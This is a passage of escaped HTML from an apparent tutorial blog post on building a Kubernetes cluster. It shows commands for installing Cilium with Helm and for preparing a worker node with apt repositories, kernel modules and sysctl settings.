#96D0FF\"\u003eadd\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://helm.cilium.io/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce the repo is added you can list the versions available:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esearch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-l\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n8\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCHART\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e\t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAPP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e\t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDESCRIPTION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.6\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.6\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo we want \u003ccode\u003e1.11.4\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--namespace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-system\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--version\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.4\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow our node should be ready!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e24\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eTime to join our worker to the cluster!\u003c/p\u003e\n\u003ch2\u003eJoining a worker to the cluster!\u003c/h2\u003e\n\u003cp\u003eWe have to go through the same steps as the controlplane to get the point that we have a\ncontainer runtime and \u003ccode\u003ekubeadm\u003c/code\u003e.   I’m not going to talk about the commands a second time but\nI’ll re-iterate them here for ease of following along.\u003c/p\u003e\n\u003cp\u003eFirst open up another shell and connect to the worker:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eshell\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow run the following commands:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb  http://apt.kubernetes.io/  kubernetes-xenial  main\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-cs\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-ril\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e '\\.rp_filter' /etc/sysctl.d/ /usr/lib/sysctl.d/)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eawk\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-iptables  = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.ipv4.ip_forward                 = 